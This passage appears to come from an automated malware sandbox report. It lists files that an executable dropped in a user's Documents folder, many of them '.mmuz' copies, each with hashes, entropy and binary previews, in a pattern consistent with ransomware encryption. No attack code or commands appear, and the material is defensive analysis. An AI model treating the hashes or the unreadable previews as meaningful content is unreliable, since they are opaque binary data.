SHA-512:	5B0C4718D4852B01415C22C8EBA938470C946701EA8AD61F3BF5C4F2029AB2A883A41E0CCB1EA55829A4894609F2EB8CE560937B483BFB008F151CDC1A24B63F
Malicious:	false
Preview:	IPKGE..F...+..........{+r..C.Y.[.C........d..8.........X.!K.\....Z\bxb....+....:&..=...S..W.w....E..~.6.N.V.....OVx.GU@h..:..LrDL...q....w..t..9..Z.t.m.......;)@.#!4.RA..GI..u..#.3<.......T.q..P..v.B..[..[.D.&Z.q..h.^..=.....@e<..w....^..a.}..{.>.....z.3.#`...}.H..,d. .g..>{......o.3.MAvm. =..1...{F.e..]..~.DM...h..2LE.~....L.<.....Wo.9=dg..lK..j1..q.}4......K.:...E.mE?..p{..{..6$_..4.T..!....i5......g.k.:....._.)~...8.?.N...l.._...y..xf.....@.U.....Ki..AJ..........(...sz..0.!._.....w..B.K...w.k,...b...~..v...>6.H.......2wh.iv.>..z[0[<t.. ...........G..x.%(..T.....J..........Y.I..j.b...0...5..4,y`q.i..l.c..,v6.g....e.^.v...6z.T..Nm.7......"....9...?J.^.+......]v.o..[x..\U.<.#...31......j>.W...C...}BR.4J3.............b......~2z7.......@......e_.......nT..w....n..V9..{......6.l.Z..\;....db..~...f6..._Q.,.5..ez...N.a.UCD...S..=.....l.K........yd....+.S.F.l!...<...i.'l.@`l\|.i.[..l_0...........2...Hm....}..f$.,*0d....Yj.X:.UG..X.N._.c...w..

C:\Users\user\Documents\SFPUSAFIOL\IPKGELNTQY.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83428933921718
Encrypted:	false
SSDEEP:	24:pIVVDEx/Jp1mcYYs8RcjmLNR+l0sdJ/sY3UDOEU+3vwt0bj4xQkbD:pMExB6cYYsvjGOJ/sY7EU+fi8ItD
MD5:	1896954A9AC67590FCC8FA2623393487
SHA1:	AC08B34994C27FE26ADE192AE7A9E08E98539546
SHA-256:	779D5341F61990DAB7B353CB4C33105F54D4A1531C18535D6DE5147A4F130A79
SHA-512:	5B0C4718D4852B01415C22C8EBA938470C946701EA8AD61F3BF5C4F2029AB2A883A41E0CCB1EA55829A4894609F2EB8CE560937B483BFB008F151CDC1A24B63F
Malicious:	false
Preview:	IPKGE..F...+..........{+r..C.Y.[.C........d..8.........X.!K.\....Z\bxb....+....:&..=...S..W.w....E..~.6.N.V.....OVx.GU@h..:..LrDL...q....w..t..9..Z.t.m.......;)@.#!4.RA..GI..u..#.3<.......T.q..P..v.B..[..[.D.&Z.q..h.^..=.....@e<..w....^..a.}..{.>.....z.3.#`...}.H..,d. .g..>{......o.3.MAvm. =..1...{F.e..]..~.DM...h..2LE.~....L.<.....Wo.9=dg..lK..j1..q.}4......K.:...E.mE?..p{..{..6$_..4.T..!....i5......g.k.:....._.)~...8.?.N...l.._...y..xf.....@.U.....Ki..AJ..........(...sz..0.!._.....w..B.K...w.k,...b...~..v...>6.H.......2wh.iv.>..z[0[<t.. ...........G..x.%(..T.....J..........Y.I..j.b...0...5..4,y`q.i..l.c..,v6.g....e.^.v...6z.T..Nm.7......"....9...?J.^.+......]v.o..[x..\U.<.#...31......j>.W...C...}BR.4J3.............b......~2z7.......@......e_.......nT..w....n..V9..{......6.l.Z..\;....db..~...f6..._Q.,.5..ez...N.a.UCD...S..=.....l.K........yd....+.S.F.l!...<...i.'l.@`l\|.i.[..l_0...........2...Hm....}..f$.,*0d....Yj.X:.UG..X.N._.c...w..

C:\Users\user\Documents\SFPUSAFIOL\LSBIHQFDVT.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86223434383939
Encrypted:	false
SSDEEP:	24:K3jqtJ18vXDCmG/U4Avj0eGtH5vrUIFb+xKK16NpY7ClGep2BXcN1sQKdkmkPahs:KmtrcDCmG/DAdKT4Km6NzQv+sQRW50VD
MD5:	ABD315B101A7788D8E85AFB6EAD73236
SHA1:	B8F319B35FE8A030CB5BFCD6C1D9E85FCD988F02
SHA-256:	3692770FA16A9BBBEF441A42C6ADC21CC20D8CEEE728674BD3886D70E77F3FBB
SHA-512:	9CF41B6001910045C3FA7E7CE53B837AFD3383DA262B79AF4C7F21A1ADAFA1BED0F74E39B58DB8D07DFB9E78EF89E2772D91A3ABA0BC961428C0FA7D0A159CEC
Malicious:	false
Preview:	LSBIH.X.m~..+U.a#...C..2....P..S...h.............j?.w......l...@.....j.V...!...rR.....L...w+..1..@%z0.....I.0....ESj...'.&C.=....Y...a.Nd..v8..NH.....VDu~S.K..>.C'..g.b.!lP......se.....D1..s.`.rP.R).....@.]L..C.?.$...iL.2.R.....@..........'9}w...c..5.2T."l..(.F.y.N4~...[{....wA...x....(f.9... .kjKo....(x....Y.\|.....W.a...........Q.d.H....2.i.......U.yH.q4)...U...U...:....0.._.p...6...X..ON.c=>./jvH..,sV..<#R.n.....2\.Tr....<....x%....o.xN.n.8.7&....a@.:..W?....lQ.b........GX>..v.Og>.N[......fz.1\P.\|....5u..mK..qj..."5.[b.i~..]P(bM3.N!.../.`...)P.D...h..m..W...&.;o.S.m .G.yc.x.f...<.zb...%........hZ.F.$....@tS.....x....Q.N.[.....v.ybK..,I....;.S..K:....1h`.(b^.j.r......7gn..h..`.....7~...cV.)..j#..(..^...}=.l.......Vw.l.ElRG4...<...a.#. Z=H.U....s.r.-.:..#s....Q..LLQ....G....9......._@(.:3.9...>.\|C..c..5...O........1x.R..y.....M.Z.,l.......r5....&.......;<S.g..2b...,..../Q.Z...u..&ZM..*m..<.....d........DN,.P...3.c\|.\|g..x.....K....#@.[.

C:\Users\user\Documents\SFPUSAFIOL\LSBIHQFDVT.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86223434383939
Encrypted:	false
SSDEEP:	24:K3jqtJ18vXDCmG/U4Avj0eGtH5vrUIFb+xKK16NpY7ClGep2BXcN1sQKdkmkPahs:KmtrcDCmG/DAdKT4Km6NzQv+sQRW50VD
MD5:	ABD315B101A7788D8E85AFB6EAD73236
SHA1:	B8F319B35FE8A030CB5BFCD6C1D9E85FCD988F02
SHA-256:	3692770FA16A9BBBEF441A42C6ADC21CC20D8CEEE728674BD3886D70E77F3FBB
SHA-512:	9CF41B6001910045C3FA7E7CE53B837AFD3383DA262B79AF4C7F21A1ADAFA1BED0F74E39B58DB8D07DFB9E78EF89E2772D91A3ABA0BC961428C0FA7D0A159CEC
Malicious:	false
Preview:	LSBIH.X.m~..+U.a#...C..2....P..S...h.............j?.w......l...@.....j.V...!...rR.....L...w+..1..@%z0.....I.0....ESj...'.&C.=....Y...a.Nd..v8..NH.....VDu~S.K..>.C'..g.b.!lP......se.....D1..s.`.rP.R).....@.]L..C.?.$...iL.2.R.....@..........'9}w...c..5.2T."l..(.F.y.N4~...[{....wA...x....(f.9... .kjKo....(x....Y.\|.....W.a...........Q.d.H....2.i.......U.yH.q4)...U...U...:....0.._.p...6...X..ON.c=>./jvH..,sV..<#R.n.....2\.Tr....<....x%....o.xN.n.8.7&....a@.:..W?....lQ.b........GX>..v.Og>.N[......fz.1\P.\|....5u..mK..qj..."5.[b.i~..]P(bM3.N!.../.`...)P.D...h..m..W...&.;o.S.m .G.yc.x.f...<.zb...%........hZ.F.$....@tS.....x....Q.N.[.....v.ybK..,I....;.S..K:....1h`.(b^.j.r......7gn..h..`.....7~...cV.)..j#..(..^...}=.l.......Vw.l.ElRG4...<...a.#. Z=H.U....s.r.-.:..#s....Q..LLQ....G....9......._@(.:3.9...>.\|C..c..5...O........1x.R..y.....M.Z.,l.......r5....&.......;<S.g..2b...,..../Q.Z...u..&ZM..*m..<.....d........DN,.P...3.c\|.\|g..x.....K....#@.[.

C:\Users\user\Documents\SFPUSAFIOL\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840522176317461
Encrypted:	false
SSDEEP:	24:0Cb2iOYDPl99mJ08X4Tsbdeh9s5MBO8vIVPRIANlWm+Y2gqKIxvzjV/kkbD:nOYD7w08AScaeaiAam+hgqdD
MD5:	36A2C1B468D65725F099644254951B28
SHA1:	2C20DB7461ED2AD2E756C5E2E1AD6ECBF20A8661
SHA-256:	CBE31E4A16A127E39090C9015FC133045AD6A4600DF7BE273AFFDF8ED2FB88A1
SHA-512:	BD74A6CE28BC8E0192C35F30D119A0A45C8BE4921EFD0E3261C10D13FC07ACD5BF9EA835A955C079DFCB64A68193A2638B7E1DFB6D95D6A9B3B5FA0BA297B7B3
Malicious:	false
Preview:	NEBFQ`.BZv..F..H..y.!>......;.QYa@.W... ...A.....s......=.Z.M..O.vw....).8.V..t....x.J..<"S.....`..../W2........c#.p..(.=!=....W...?r...r..rrR.f..>..by]Y....tqL...C...oo..M.v..N.\|?....x...!.%.^.95G..V.#N..W[K..i.x..D(.<.....?K.....(.......G[...N.5...W...H..x....%....9w.?.h.....R\|AY..W.2.nX........LWW...t......Y.&...j.l.Z.4..v....r....v..f0X.U@'......z...y3W.f.<.O@i.m../E`......J.([l....v..:.K.!..`E.....],.....j.s...^....9.......{.n..7.Fq'.u.0N...el..(....._0_.x._..q4./......_mWU..>.....I....YP..3.D...B..eP.l..\.G...9..x'9s.R)@....b....{.f.....F.^.jN.{.....eO..$.G..3...q.d&..\|.g.....1.7.C.A..9_.[GJ5{s.Z.,>..j..-0../<S.5....[r.a..X.....Uddc...%..) ...z.........2...9ig-t.z-f%N....i';.Y.....f....,..-.)...'.6d....y..5.H.....r.=.?.B..Z;.O.E._.u..1..aI.v..-..s#L.d;.4......{)u_......+.^8.`"BZ....:xH..A...re...Bc.6Ua..0u../.%...7#..g...;!....b....$%T.xn....e4.bn.=j..XQ.........\$....jY....vg^5..^W..2=p.5..Z.k..=3+hZ......`<.E*.40.. Cb..B]."...mw

C:\Users\user\Documents\SFPUSAFIOL\NEBFQQYWPS.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840522176317461
Encrypted:	false
SSDEEP:	24:0Cb2iOYDPl99mJ08X4Tsbdeh9s5MBO8vIVPRIANlWm+Y2gqKIxvzjV/kkbD:nOYD7w08AScaeaiAam+hgqdD
MD5:	36A2C1B468D65725F099644254951B28
SHA1:	2C20DB7461ED2AD2E756C5E2E1AD6ECBF20A8661
SHA-256:	CBE31E4A16A127E39090C9015FC133045AD6A4600DF7BE273AFFDF8ED2FB88A1
SHA-512:	BD74A6CE28BC8E0192C35F30D119A0A45C8BE4921EFD0E3261C10D13FC07ACD5BF9EA835A955C079DFCB64A68193A2638B7E1DFB6D95D6A9B3B5FA0BA297B7B3
Malicious:	false
Preview:	NEBFQ`.BZv..F..H..y.!>......;.QYa@.W... ...A.....s......=.Z.M..O.vw....).8.V..t....x.J..<"S.....`..../W2........c#.p..(.=!=....W...?r...r..rrR.f..>..by]Y....tqL...C...oo..M.v..N.\|?....x...!.%.^.95G..V.#N..W[K..i.x..D(.<.....?K.....(.......G[...N.5...W...H..x....%....9w.?.h.....R\|AY..W.2.nX........LWW...t......Y.&...j.l.Z.4..v....r....v..f0X.U@'......z...y3W.f.<.O@i.m../E`......J.([l....v..:.K.!..`E.....],.....j.s...^....9.......{.n..7.Fq'.u.0N...el..(....._0_.x._..q4./......_mWU..>.....I....YP..3.D...B..eP.l..\.G...9..x'9s.R)@....b....{.f.....F.^.jN.{.....eO..$.G..3...q.d&..\|.g.....1.7.C.A..9_.[GJ5{s.Z.,>..j..-0../<S.5....[r.a..X.....Uddc...%..) ...z.........2...9ig-t.z-f%N....i';.Y.....f....,..-.)...'.6d....y..5.H.....r.=.?.B..Z;.O.E._.u..1..aI.v..-..s#L.d;.4......{)u_......+.^8.`"BZ....:xH..A...re...Bc.6Ua..0u../.%...7#..g...;!....b....$%T.xn....e4.bn.=j..XQ.........\$....jY....vg^5..^W..2=p.5..Z.k..=3+hZ......`<.E*.40.. Cb..B]."...mw

C:\Users\user\Documents\SFPUSAFIOL\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848353258778691
Encrypted:	false
SSDEEP:	24:s6MOJ2t9Tfe+DkGa85MFy1R8w7dzFUXUOuvlRUhlhTV46pXnlSrhUkbD:Mb9THDku5PR8mzI0lRAlhTV46nlSV5D
MD5:	5A44C54D39BFE2E143E33CB2B235F030
SHA1:	9FBCBE414129E7A49E51489A7E7C131A32D3688E
SHA-256:	3FE0A6E4E8B5E69E0C581D39BC997B494ECECC5C4CC7B20762DF87138A550299
SHA-512:	735577425B208B5F4C3D2BEB5F3AA90A1DDB2FAAFA68B1B06416B1773360D8A873123E76A3B4492C75A5745D5962CA45ABE7BDC16052E47C2226516D4F57C2CE
Malicious:	false
Preview:	SFPUSq@.6...?3e....-.D...%.F}...N[.>..v.....9.Q..FPyO.)..H..Q.6.{...98.6...Q.@......#.S.78...L..._4r'...f..U..@5..(d........'..)..0..t.').c.........[..t..8.q`o\.?Pt .. ...5.._].S~.lJ..V....I...E.z)@.zE.v....j..X.}.};1i.~j>t]Q..AM...E.eQ.......@.Q9)....G.]v.B:T_.!.......A...&..J..!....MP.@....0q........$,.._....'W......_s..X...8T..o2.d..F.._.....A+D..e...`..I3.?o.,_...n..c.s...;;G.....4..k!.u.)z^^."..n....:. ..E....z...q.q.b...L..V.l..'...}....9.J...$.]4%.%..^P..x..x#....B....?~.%...@.........I.b....#..;....E...S..!P..X.5.3.../h..?y.....mx...8.N..5..C..g~...{y..?.?....R.@Qq2...2Ic..u..i..!_kl.=..^...K.@...@..?..;..h~.\|..RO...A..\|.-.n.\.%.....".,.S.........f...k.....h.".n.j.U.OI..N3H'?....{f..#g]..1.r...)i....).{..E....~..B.a.Q.)V......\|..3..F......e....7p.%....C.0..K+.GZd..4{..+.N.....4_.@V..w..j^...c..k...\|.P.9.i.HC..ed.S..5....Q^pN.z)Dm...f$....a.Q..9...nG..1C.f...\....3.ai.!..u.....Ed.P.....cOM.Q....=.{...z....x.v!..l.&f.c.p`{S.n

C:\Users\user\Documents\SFPUSAFIOL\SFPUSAFIOL.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848353258778691
Encrypted:	false
SSDEEP:	24:s6MOJ2t9Tfe+DkGa85MFy1R8w7dzFUXUOuvlRUhlhTV46pXnlSrhUkbD:Mb9THDku5PR8mzI0lRAlhTV46nlSV5D
MD5:	5A44C54D39BFE2E143E33CB2B235F030
SHA1:	9FBCBE414129E7A49E51489A7E7C131A32D3688E
SHA-256:	3FE0A6E4E8B5E69E0C581D39BC997B494ECECC5C4CC7B20762DF87138A550299
SHA-512:	735577425B208B5F4C3D2BEB5F3AA90A1DDB2FAAFA68B1B06416B1773360D8A873123E76A3B4492C75A5745D5962CA45ABE7BDC16052E47C2226516D4F57C2CE
Malicious:	false
Preview:	SFPUSq@.6...?3e....-.D...%.F}...N[.>..v.....9.Q..FPyO.)..H..Q.6.{...98.6...Q.@......#.S.78...L..._4r'...f..U..@5..(d........'..)..0..t.').c.........[..t..8.q`o\.?Pt .. ...5.._].S~.lJ..V....I...E.z)@.zE.v....j..X.}.};1i.~j>t]Q..AM...E.eQ.......@.Q9)....G.]v.B:T_.!.......A...&..J..!....MP.@....0q........$,.._....'W......_s..X...8T..o2.d..F.._.....A+D..e...`..I3.?o.,_...n..c.s...;;G.....4..k!.u.)z^^."..n....:. ..E....z...q.q.b...L..V.l..'...}....9.J...$.]4%.%..^P..x..x#....B....?~.%...@.........I.b....#..;....E...S..!P..X.5.3.../h..?y.....mx...8.N..5..C..g~...{y..?.?....R.@Qq2...2Ic..u..i..!_kl.=..^...K.@...@..?..;..h~.\|..RO...A..\|.-.n.\.%.....".,.S.........f...k.....h.".n.j.U.OI..N3H'?....{f..#g]..1.r...)i....).{..E....~..B.a.Q.)V......\|..3..F......e....7p.%....C.0..K+.GZd..4{..+.N.....4_.@V..w..j^...c..k...\|.P.9.i.HC..ed.S..5....Q^pN.z)Dm...f$....a.Q..9...nG..1C.f...\....3.ai.!..u.....Ed.P.....cOM.Q....=.{...z....x.v!..l.&f.c.p`{S.n

C:\Users\user\Documents\SFPUSAFIOL\ZQIXMVQGAH.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838162153544418
Encrypted:	false
SSDEEP:	24:PG5h8fnFaPKpuvKwVD9iP01QMeLdwVndjLHquQBT3Z8WfOVgIfkbD:NnF2KGD9h9VRHO5nfOFmD
MD5:	62546A18F0410AE1AEDFD1042B338338
SHA1:	D526F001E7DEE32B54E22F9E145340379E04BDC3
SHA-256:	AAA890CE7C879F6F67CD21BC2DA1DE2E067907B566610C1F3449E3D4B2790D8C
SHA-512:	12A5297B82A6AEAAE021790A0CE2BDF40F013C21D3E3E56533BEB895593DA761AD8CC43F3EE73095AF207FEC72B83B1FEDB343E684BBFA2FD5AFFA793B2110B0
Malicious:	false
Preview:	ZQIXM...@D.i..j.........y(X.d..P..?...;.zy.......t..}..6:X...Z..}..~.J.m..s.f&:.l.5.-8..U.A..=....9.........z.......?._..=...`.m.>+.....+B=[...q....Fl.....{..8...."......?..N..o...6P.50qZ..x....E5..2\R.JS]..bk..k.^.b...ry.2..(a;9.....9.z.B.v...y.s.4....>;^..tw..#.Wzb....).4 ......c..\|..(.h.pN..Gq....Q.......p...?f+......).]PIY..-.h}_s..tL@..+.li..g...E. dbW5...d.@..j..d{v...?i..2Ou.$br..TT......r..,...4.o....q0\|....Uq......2./......9T.5G.^.5..$..<uL?...`..]V..G...i.......n.r#'...~B..c7..\7....=:sr.Dv..S-=o%..S.x*..f...)&.qj.$........Ar62.......X.DF.p.;oZ.j.yV.t9-.:b....8.0...9..%K.i...&.K9..............F.Kg..\..2..M..4.:.&$...~.l..sC.wwr.=...V.j...l'..P.h.`...7O.D.(..4.N....3a.....{.3T=i'8)..zO..t.b...\|.[kKj(....t.Z.r....{J...(4...D.......!9.K........yg..L.....b\|....."...+....l.......kU}T_M.......0[.p.....'.+8...)l..Q.h.W.&.1X}w.~...Wj.D...df.Sv..._..@..zPw.i.eS.4..F.u.N.!<..B\Z]..T....vO.5....z.p.../......e0#\|V....w..j..3nT...,..Q.oy....5I

C:\Users\user\Documents\SFPUSAFIOL\ZQIXMVQGAH.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838162153544418
Encrypted:	false
SSDEEP:	24:PG5h8fnFaPKpuvKwVD9iP01QMeLdwVndjLHquQBT3Z8WfOVgIfkbD:NnF2KGD9h9VRHO5nfOFmD
MD5:	62546A18F0410AE1AEDFD1042B338338
SHA1:	D526F001E7DEE32B54E22F9E145340379E04BDC3
SHA-256:	AAA890CE7C879F6F67CD21BC2DA1DE2E067907B566610C1F3449E3D4B2790D8C
SHA-512:	12A5297B82A6AEAAE021790A0CE2BDF40F013C21D3E3E56533BEB895593DA761AD8CC43F3EE73095AF207FEC72B83B1FEDB343E684BBFA2FD5AFFA793B2110B0
Malicious:	false
Preview:	ZQIXM...@D.i..j.........y(X.d..P..?...;.zy.......t..}..6:X...Z..}..~.J.m..s.f&:.l.5.-8..U.A..=....9.........z.......?._..=...`.m.>+.....+B=[...q....Fl.....{..8...."......?..N..o...6P.50qZ..x....E5..2\R.JS]..bk..k.^.b...ry.2..(a;9.....9.z.B.v...y.s.4....>;^..tw..#.Wzb....).4 ......c..\|..(.h.pN..Gq....Q.......p...?f+......).]PIY..-.h}_s..tL@..+.li..g...E. dbW5...d.@..j..d{v...?i..2Ou.$br..TT......r..,...4.o....q0\|....Uq......2./......9T.5G.^.5..$..<uL?...`..]V..G...i.......n.r#'...~B..c7..\7....=:sr.Dv..S-=o%..S.x*..f...)&.qj.$........Ar62.......X.DF.p.;oZ.j.yV.t9-.:b....8.0...9..%K.i...&.K9..............F.Kg..\..2..M..4.:.&$...~.l..sC.wwr.=...V.j...l'..P.h.`...7O.D.(..4.N....3a.....{.3T=i'8)..zO..t.b...\|.[kKj(....t.Z.r....{J...(4...D.......!9.K........yg..L.....b\|....."...+....l.......kU}T_M.......0[.p.....'.+8...)l..Q.h.W.&.1X}w.~...Wj.D...df.Sv..._..@..zPw.i.eS.4..F.u.N.!<..B\Z]..T....vO.5....z.p.../......e0#\|V....w..j..3nT...,..Q.oy....5I

C:\Users\user\Documents\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8533288937130825
Encrypted:	false
SSDEEP:	24:QZFqz9tBCv/BUZSERxvtU6BkHDHLyQe0+UAIk8slr1gx8YRe55LkbD:QZ09tBCnMErl5+ULk8slK8YRA5aD
MD5:	C9CC5FF925A923175310300D5A8C50E6
SHA1:	ED7CDC708BE97837CDE85266D451D2C5BD00AE1A
SHA-256:	86C5BDBA756A40D6C5A883CF71E6352EAEC1A27326B12DBB4202CB5CF4844C3B
SHA-512:	CA3D9E73D5BA418DC7B5D5CC8DADBCBBE70F8C675A060AB3F9E384717F1C9CB7EC3CF2DA281B20A3957B21658487E2181C5F7E3BB42E37A73FE5C97E3FFB61AC
Malicious:	false
Preview:	SUAVT..u...."...c..t.TB.8.#Uqu..._9M.OK..6.......".8.0h..B...~.s..(.".Y.U.0O..q.q.a.i.C.9z...l.[j.YG.;.........h.C.c.".8..S.....q.@xpeI~.Y...c7m.....rw.j..%......`..W....[.}bd96..3.O.W.J...5...TC.m.m+...%.J..BHMI...g.).5.......w4.a>.]...T.C]..^.....\.y1......P...../ph..<..%...O.X.$......yF.}.......x.D6..'\.o.-$8..*q/...>/...pz..iFS>.&.....V\.MR.....F..T..R.....`.R.y...H.Y....B.l(:..M..xb.)...H.Y.m.. B........V81.v..~........Y.Zw.q..dS....5..k..0B~.[.@..&[....@Y..K?.;..g.y }.pu.Y^4_x?..[....l]..D.<]d...C..Q... .... s..........e..N.....pH./(bt.^.[...R.l.m..%).k.{..,.X...2L.;.z.O>W."..LB...Go.!.d..sy.>^.h.C1...w1..9.v.hjxX.~...".....'T.RVow.Y_..#.&Uq.....X...F.QN.(.1.L....v..W...~b..J..fi.....TQ.:0.........O...2.v<....;.Y.$E.....:.o.O=......{...(.......~..{........Y...............N.E6.B....JR......>.P....8.9.M6~.E....\...=<...3..$w.../.@.d....>.Pf.]E(.........I.u+Z6gfI........ y....7..n..+..U.P....<C._.m.....u.....h.F.....oB.X."..i..A..7.p$.Z

C:\Users\user\Documents\SUAVTZKNFL.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8533288937130825
Encrypted:	false
SSDEEP:	24:QZFqz9tBCv/BUZSERxvtU6BkHDHLyQe0+UAIk8slr1gx8YRe55LkbD:QZ09tBCnMErl5+ULk8slK8YRA5aD
MD5:	C9CC5FF925A923175310300D5A8C50E6
SHA1:	ED7CDC708BE97837CDE85266D451D2C5BD00AE1A
SHA-256:	86C5BDBA756A40D6C5A883CF71E6352EAEC1A27326B12DBB4202CB5CF4844C3B
SHA-512:	CA3D9E73D5BA418DC7B5D5CC8DADBCBBE70F8C675A060AB3F9E384717F1C9CB7EC3CF2DA281B20A3957B21658487E2181C5F7E3BB42E37A73FE5C97E3FFB61AC
Malicious:	false
Preview:	SUAVT..u...."...c..t.TB.8.#Uqu..._9M.OK..6.......".8.0h..B...~.s..(.".Y.U.0O..q.q.a.i.C.9z...l.[j.YG.;.........h.C.c.".8..S.....q.@xpeI~.Y...c7m.....rw.j..%......`..W....[.}bd96..3.O.W.J...5...TC.m.m+...%.J..BHMI...g.).5.......w4.a>.]...T.C]..^.....\.y1......P...../ph..<..%...O.X.$......yF.}.......x.D6..'\.o.-$8..*q/...>/...pz..iFS>.&.....V\.MR.....F..T..R.....`.R.y...H.Y....B.l(:..M..xb.)...H.Y.m.. B........V81.v..~........Y.Zw.q..dS....5..k..0B~.[.@..&[....@Y..K?.;..g.y }.pu.Y^4_x?..[....l]..D.<]d...C..Q... .... s..........e..N.....pH./(bt.^.[...R.l.m..%).k.{..,.X...2L.;.z.O>W."..LB...Go.!.d..sy.>^.h.C1...w1..9.v.hjxX.~...".....'T.RVow.Y_..#.&Uq.....X...F.QN.(.1.L....v..W...~b..J..fi.....TQ.:0.........O...2.v<....;.Y.$E.....:.o.O=......{...(.......~..{........Y...............N.E6.B....JR......>.P....8.9.M6~.E....\...=<...3..$w.../.@.d....>.Pf.]E(.........I.u+Z6gfI........ y....7..n..+..U.P....<C._.m.....u.....h.F.....oB.X."..i..A..7.p$.Z

C:\Users\user\Documents\ZQIXMVQGAH.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841370903002875
Encrypted:	false
SSDEEP:	24:1fDdOMLiAOBhv8roobDZnGWr22Bkj5+dy4bEgbomFTsk+6+6kkbD:1fDYSi9Bydwr+o4IgbsV96JD
MD5:	8A20D7D31D2BEE057827AC9357737B2F
SHA1:	784FC695225DFB2E55DA9B110731F7725D27882C
SHA-256:	740158B3647A96B7EF2FED8492BD87A3F957002A59B9AEBCCB29D3A0BF8C13AE
SHA-512:	269CC5BAC8EFD538C31BEA7A8092146C50FB23BF0D8D21EC2A6CF35E318461EFC0E8EDE83702212CECCB0E8FC115E6935ACE84A11B10D076481103A6349FDEFA
Malicious:	false
Preview:	ZQIXM!.G.v.;...n.\|...E"m.]&.N........b)....$.....\+..p{.....ho....su....M(&<..:....old.........................BD.~I...c_Xq..._.~CJ)..t.A........p.....a...6+.6tX.4.m....^....2m.+t=l9j.oop.........:8.../Dy2(..>4.s....p..............D.Zo.B.9....K.....S....a.U.M...c}..'.c.T.S..kIx....?P.&3s..,......uO?.w0....~He...JP..p.....W.!.....3e..E...2..q..{...$/....V...M.c..)..e\....,.\....q.u].znpC...4..4Q..\|.:[j..p.#%+..3!z;. ....L....}%...5....r.iv.S...V.{......:.....x....u.k`#l...(..7........D.}..7.2.(.D.^.>.U.~.5FT84..0..........+v}...e,...w.....Jn.i.......6U]lZ.Tz...S`....C...&.G...Yu..../.V....M).u0..b..il....,D<A.D=..i....a...p..F...=],...,.S.g..,.6...M.n`..tz.v{..?..Xv...?..-3...}^c....[@5..........pq..R...M.+g...2~.mGs..D..O...U1;n\....!M;..S.X...j.....".E9...........'.)p....4..... .>.l.W.#...Q3...M....A.!.....Q.m..>.\..@kD.M...ra....bw.(.=.{30...z..k...".iLl$...c.._lT..Ch..-q_..!ra..KE.?..\|\.p.i......&.a.l5.@..F....1...1.!.R_:.......Ti..

C:\Users\user\Documents\ZQIXMVQGAH.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841370903002875
Encrypted:	false
SSDEEP:	24:1fDdOMLiAOBhv8roobDZnGWr22Bkj5+dy4bEgbomFTsk+6+6kkbD:1fDYSi9Bydwr+o4IgbsV96JD
MD5:	8A20D7D31D2BEE057827AC9357737B2F
SHA1:	784FC695225DFB2E55DA9B110731F7725D27882C
SHA-256:	740158B3647A96B7EF2FED8492BD87A3F957002A59B9AEBCCB29D3A0BF8C13AE
SHA-512:	269CC5BAC8EFD538C31BEA7A8092146C50FB23BF0D8D21EC2A6CF35E318461EFC0E8EDE83702212CECCB0E8FC115E6935ACE84A11B10D076481103A6349FDEFA
Malicious:	false
